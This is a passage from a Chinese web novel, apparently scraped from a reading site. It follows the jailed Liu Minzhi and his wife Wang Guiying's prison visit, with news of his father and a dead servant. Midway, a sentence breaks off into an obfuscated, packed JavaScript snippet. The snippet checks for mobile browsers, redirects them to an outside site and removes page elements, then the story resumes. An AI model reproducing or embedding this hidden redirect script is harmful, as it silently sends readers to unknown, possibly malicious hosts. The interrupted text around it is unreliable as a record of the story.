“剩下的我自己和军务部的交代，不用你们操心。” “……是。” 杜其骏看向罪魁祸首，王桂英挡在刘珉之身前，警惕地和他对视。 “呵。” 杜其骏嗤笑。 “你女人缘可真好啊。” “桂英。” 王桂英一颤，回身看他。 “你回去吧，是我对不住你，我……对不住所有人。” 王桂英沉默，刘珉之站起来，直视杜其骏。 “你想怎么样？杀了我？” 已经闹出一条人命，杜其骏后知后觉地感到为难，老赵见机把他拖走，嘀嘀咕咕地陈明利害，也不知他能听进去几句。 王桂英担忧地看着刘珉之，拿手绢擦他脸上的血。 血？ 刘珉之一愣，这才意识到是马竭的血。 他握住她的手，接过绢子，露出一个苦涩不堪的假笑。 “我没事，是他……” 王桂英停下来，突然狠狠抱住他的腰。 她身上暖烘烘的，她的双臂如此有力量，刘珉之静静感受着这个拥抱。 杜其骏终于做了决定，收枪挺腰，大刀阔斧地走过来。 “本队长开恩，不搜查刘府了。” 他直勾勾盯着刘珉之。 “但是刘少爷要配合我们。” “……好。” 刘珉之束手就擒，马竭被抬走，脸上蒙了件衣裳，将他惊惧恐怖的面容遮住。 刘珉之偏过头。 警卫队一行打道回府，刘珉之终于敢回头看一眼身边的王桂英。 她脸色苍白，眼里只有担忧。 “……帮我照顾好爹。” 王桂英咬着嘴唇，郑重地点点头。 警卫所是个临时办事机构，空间不大，许是已经关满了人，没有多余的位置。刘珉之这回没进那间狭小的拘留所，而是被带到监狱。 监狱这种地方自然不能奢求有多干净，即便是大冬天，也一股复杂的粪便和发酵的馊味。 刘珉之已失了抗争的心气，老老实实跟着人往前走，谁知这里的人倒还算客气，给他安排了一间明显才打扫过的单间，里面还有一张木板搭的小床，铺着洗到掉色的被褥。 监狱的守卫和他说话也很礼貌，还带着几分歉意。 “刘先生，委屈您了。” 刘珉之轻轻摇头，走进隔间。 铁器磕碰的声音实在不够悦耳，刘珉之呆呆坐了一会儿，又有人给他拿来一套衣服，浆色很新，是特意拿的。 “谢谢。” 送衣服来的守卫是个十来岁的小孩子，穿着制服，没加外套，手上生着冻疮，脸上透红发紫，他睫毛很长，紧张地眨了眨，连连摇头。 “不客气，刘，刘先生，您，好好休息。” 刘珉之对他露出个友善的笑，可他忘记自己脸色很难看，男孩明显吓到了，老鼠一样逃窜离开。 刘珉之换了衣裳躺在床上，还是不够暖和，他只能用思维麻痹自己，幻想这是在刘府的东厢房里。 王桂英现在在做什么？ 爹呢？ 爹的身体能不能抗住？ 良久，身上终于暖和起来，只有马竭留下的鲜血依旧寒凉。 41. 家人 失去自由时，对时间的感应是迟钝的。 刘珉之厌恶时间的流逝，因为他分不清这是否重要。 他本以为杜其骏会立刻来找他，示威也好，欺辱也好，总好过现在这样，彻底把自己忘掉。 被关在这里的第三天，那个总来送饭的小男孩不见了。 听说他只是来替叔父值班，如今叔父复职，他可以回家过冬了。 刘珉之为他感到高兴，殊不知今天，他自己也会高兴。 监狱的守卫并不苛待他，反倒经常送些小东西，连书都送来三五本，床边亮着两盏油灯，刘珉之窝在床上读书解闷，一上午也看不进几页纸。 脚步声响起，这个点儿应该是来送午饭的。 刘珉之面墙坐着，只听见来的声音却没听见去的，这才奇怪地转过身。 这一转身，却愣住了。 王桂英挎着个木框，泫然欲泣地看着他。 刘珉之张张嘴，没发出声音，他窘迫地从床上站起来，披上黑色的大衣罩在囚服外头，不太敢看王桂英带水光的眼睛。 “你，你怎么来了。” 王桂英抬手捂住嘴，还是发出一声呜咽。 刘珉之的心被暗无天日冻了三天，如今乍一见光，堆积的酸水汹涌着往外头冒，像一道倾泄的伤口。 两人隔着铁栏杆摸手，王桂英不畏寒，但什么季节就该穿什么衣裳，她今天穿的是一件狐狸皮的夹裳，袖口翻出来，露出里头腕子又圆又白，像温泉里泡着的暖玉。 刘珉之才发现自己的手掌干皴起皮，他缩回来，又被王桂英握过去。 他心头一暖，正想吸吸鼻子，好生说会儿话，却听王桂英扯起嗓子喊人。 “大哥！” “来了来了。” 一个胡子拉碴的守卫小跑过来，王桂英已做好准备，从袖口里掏出个小钱袋，泪眼朦胧地塞进他手里。 “大哥，你行行好，叫我进去和我男人聚聚。” “哎呀这是规……” 守卫话说到一半，熟练地紧急拐弯。 “就通融你们一下，动作快点哈。” 铁门打开，刘珉之反倒更加无措起来，他想起自己三天没洗澡，身上是不是都馊了？他一时冲动被抓进来，家里怎么样了？她还好吗？她会怎么看自己？ 脑子和身体各论各的，一切迅速发生。 刘珉之下意识张开双臂，稳稳接住扑进来的女人。 好温暖。 监狱里头一股阴气儿，他差点就要呆惯了，思维都染上三分病气。现在祛了寒，才明白他还是娇生惯养的主儿，就喜欢这暖玉温香。 “家里……” 刘珉之止住，感觉到怀里的脑袋疑惑地动了动，抬起脸看她。 她的眸色怎么这样黑，眉毛也是浓黑色，似乎描摹这个人的每一笔都浓墨重彩，使了十足的力气。 “你怎么样？” 该聊正事了。 王桂英不舍地从他怀里拱出来。 “挺好的，家里也都好。” 刘珉之瞪大眼睛：“真的？” 王桂英没注意他的震惊，一箩筐地往外倒消息。 她手脚十分麻利，一边交代情况，一边折腾带来的东西，将木框里的热饭热菜盛出来。 “警卫队没去过家里。事后我也去找过赵副官，赵副官说军务部死了人，这件事闹的很大，那个叫杜其骧的，正在教训他弟弟。赵副官还说刘府近期不会有事，我们千万不能轻举妄动。但是不怎么为什么，他就是不肯放你出来。” 说到这，王桂英委屈的很。 “那个赵副官，是不是成坏人了？” 刘珉之抹抹她通红的眼睛，柔声道。 “好和坏的事我也说不清，但是这个节骨眼上他还肯见你，我已经很感激了。” 刘珉之垂下头，用更轻的声音问。 “马竭，他怎么样了？” 这个男人因忠于自己而死，刘珉之胸中有愧，他如何配得上这份恩情？ “他还没下葬，听说他有很多兄弟在帮他喊冤，要找警卫队算账。” 王桂英已将饭菜都摆出来，冬天冷，她为了让刘珉之吃口热的，往瓷壶里灌了开水暖着，一样四份肉菜，到这里还是温的。 王桂英将筷子柄儿塞进他手里，刘珉之夹了一口黄牛肉，好吃的他鼻子发酸。 他不敢再提马竭的事儿，转问道：“爹呢？” “还是老样子，我没敢让他知道外头的事，说你去北京了。” “那就好，那就好……” 刘珉之长舒了一口气，紧紧握住王桂英的手。 “我真不知道该如何谢你。” “说这个干什么？都是应该的。” 她抬眼看狭小的牢房，灰扑扑的，什么也没有，比王家在乡下的房子还差的多，娇生惯养的二少爷竟也要过这种日子，可见想世事无常，无人幸免。她思及此处，不禁簌簌落下两行清泪。 “委屈你了，我本来带了衣服被褥，可是他们不叫我拿起来……” 刘珉之撂下筷子，擦掉她脸上的泪痕，轻柔地喟叹一声：“能看见你，你不知道我有多高兴。” 他想，患难见真情，大抵如是。 王桂英用大拇指揉干净眼泪，又抹在手背上，冬天的衣裳贵，绢子也难洗，她总在冬天暴露这些贫穷的习惯，好在刘家人从没说过她。 “不说这个了，你吃饭，吃饭。” “好。” 王桂英怕他吃不好，等他把饭菜都吃干净，才又絮絮叨叨说起外头的事。 “马竭的家里我去过一趟，把我手上的现钱，一共两百块法币留给他家里人，叫他们置办丧事。但看样子，这丧事不知道什么时候才能办。” 刘珉之重重点头，马竭的家人，他是一定要管的。 “这两天天气冷，爹又起不来床，只能呆在暖房里看报——” “爹怎么样？” 刘珉之很紧张，王桂英忙安抚他。 “没事，没事，都说了还是老样子，大夫也每天去把脉。” 刘珉之还是心神不宁，叮嘱道：“大夫的口风也要把紧，不要叫爹知道铺子和我的事。他的身子，不能再操一点心了。” “我晓得的，我晓得的。” 王桂英将碗筷收拾好，通道尽头的守卫看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807510|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟表，磨磨蹭蹭站起来。 “还有，爹最近看报纸，说蒋部长答应联共抗日了，爹很高兴，我不懂这些大事，但听爹说这是天大的好事，咱们家也能落到实实在在的好处。” “是。” 刘珉之也很高兴。 “大哥是蒋派的人，大局定了，大哥应该也会有消息了。” 王桂英大喜：“那你是不是就能放出来了？” 刘珉之笑着点头：“那是当然，等大哥来了信儿，谁还敢欺负咱们刘家的人？” 政丨治是很复杂的事情，千里之外的一道文书发出，全国上下都要天翻地覆。在官场谋生的人，今朝起明日落，都如碧涛逐浪般慷慨。刘家是地主家庭，对权力有着天然的敬畏。刘琼越在军中时，他们声名鼎赫；刘琼越落难时，他们也要忍受不得好死的磋磨。 好在刘琼越没站错队，只要能保住小命，只要能熬过这个坎儿，漳县又是他们的天下，何必惧怕见风使舵的杜家？ 两人才高兴起来，守卫拖沓着步子过来催人。 “大哥，再给我们两分钟。” “……快点。” 守卫倚靠在旁边，变成一座黑色的钟。 王桂英几乎是才来就要走了，刘珉之心里酸酸涩涩。他从不知道和家人相处的时间这样宝贵，他总以为家人是理所当然的存在，是偏安一隅的退路，可如今才明白，家人是遮风雨的墙，而他自己，一直在享受家人的庇护。 “谢谢你把家里照顾的这么好。”刘珉之摸摸她的脸，她的面庞圆短，像个福娃娃，她明明比自己还要年轻两岁，却已经顶天立地的二奶奶了。 王桂英把脸颊贴在他手上。 人手的温度会比身体其他部位更高，可刘珉之的手一点也不暖和，她反握住，试图传递给他一些温度。 “你回去吧。” 王桂英咬着唇，被轻柔地抚开了。 “听话，回去吧。” 王桂英站起来，守卫早已把铁门打开，她突然小声道：“咱们一起跑，外头有伙计在接咱们。” 刘珉之失笑，不知道她是怎么冒出这个异想天开的主意，她似乎还是认真的，刘珉之不想败她的兴，转移话题道。 “伙计都放出来了？” “放了几个，钱管家也放出来了，但他伤了身子，在家里养伤。” 刘珉之点头。 守卫轻咳两声，很有礼貌地催促着。 王桂英还是顽强地牵他的手。 “好了，等大哥来信儿，我马上就出去，用不了多久的。” 王桂英不情不愿地松开手。 刘珉之心中一动：“等等。” 正准备锁门的守卫撂下钥匙：“快点儿。” “马上。” 刘珉之突然抱住王桂英，在她额头印上一个吻。 “啧，”守卫分开两人，“不好意思，时间到了。” 王桂英站在铁栏杆外头，眼睛里水光潋滟。 “照顾好爹。” “我晓得。” 她一步三回头地走了，世界蒙蒙然灰沉下来，刘珉之在余温里徘徊片刻，重新坐进那张破败的小床上。